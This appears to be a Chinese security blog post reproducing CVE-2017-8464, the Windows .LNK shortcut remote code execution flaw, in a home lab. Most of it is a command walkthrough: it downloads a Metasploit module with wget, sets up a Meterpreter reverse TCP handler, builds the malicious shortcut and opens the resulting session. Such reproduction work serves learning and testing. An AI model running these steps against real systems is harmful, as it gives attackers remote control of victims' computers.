threst's Blog

CVE-2017-8464漏洞复现

2018/09/11 Share

漏洞描述

2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,
攻击者可以向用户呈现包含恶意的.LNK文件和相关联的恶意二进制文件的可移动驱动器或远程共享。 当用户在Windows资源管理器或解析.LNK文件的任何其他应用程序中打开此驱动器(或远程共享)时,恶意二进制程序将在目标系统上执行攻击者选择的代码,成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限。
注释:.LNK是windows系统内应用程序快捷方式文件的文件类型后缀名。
漏洞利用条件和方式:
远程利用 漏洞影响范围:
Microsoft Windows 10 Version 1607 for 32-bit SystemsMicrosoft Windows 10 Version 1607 for x64-based SystemsMicrosoft Windows 10 for 32-bit SystemsMicrosoft Windows 10 for x64-based SystemsMicrosoft Windows 10 version 1511 for 32-bit SystemsMicrosoft Windows 10 version 1511 for x64-based SystemsMicrosoft Windows 10 version 1703 for 32-bit SystemsMicrosoft Windows 10 version 1703 for x64-based SystemsMicrosoft Windows 7 for 32-bit Systems SP1Microsoft Windows 7 for x64-based Systems SP1Microsoft Windows 8.1 for 32-bit SystemsMicrosoft Windows 8.1 for x64-based SystemsMicrosoft Windows RT 8.1

win7x64本地复现

kalix64 192.168.1.101 攻击机
windows7x64 192.168.1.111 目标靶机

0x000下载msf脚本

1
2
3
4
cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat/


wget https://raw.githubusercontent.com/ykoster/metasploit-framework/169e00bf3442447324df064192db62cdc5b5b860/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb

0x01生成监听shell

1
2
3
4
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.101
msf exploit(handler) > exploit -j

0x02生成.LNK文件

1
2
3
4
5
6
7
msf exploit(multi/handler) > back
msf > use exploits/windows/fileformat/cve_2017_8464_lnk_rce
msf exploit(windows/fileformat/cve_2017_8464_lnk_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/fileformat/cve_2017_8464_lnk_rce) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(windows/fileformat/cve_2017_8464_lnk_rce) > exploit

0x03复制到win7运行

0x04最后

sessions -i 1

参考

https://www.cnblogs.com/backlion/p/7243636.html
https://github.com/ykoster/metasploit-framework/blob/b669b9fb81efdec4f59177116ee9524d71527d37/documentation/modules/exploit/windows/fileformat/cve_2017_8464_lnk_rce.md
https://3gstudent.github.io/3gstudent.github.io/Windows-Lnk%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E(CVE-2017-8464)%E5%88%A9%E7%94%A8%E6%B5%8B%E8%AF%95/

CATALOG
  1. 1. 漏洞描述
  2. 2. win7x64本地复现
    1. 2.0.1. 0x000下载msf脚本
    2. 2.0.2. 0x01生成监听shell
    3. 2.0.3. 0x02生成.LNK文件
    4. 2.0.4. 0x03复制到win7运行
    5. 2.0.5. 0x04最后
  • 3. 参考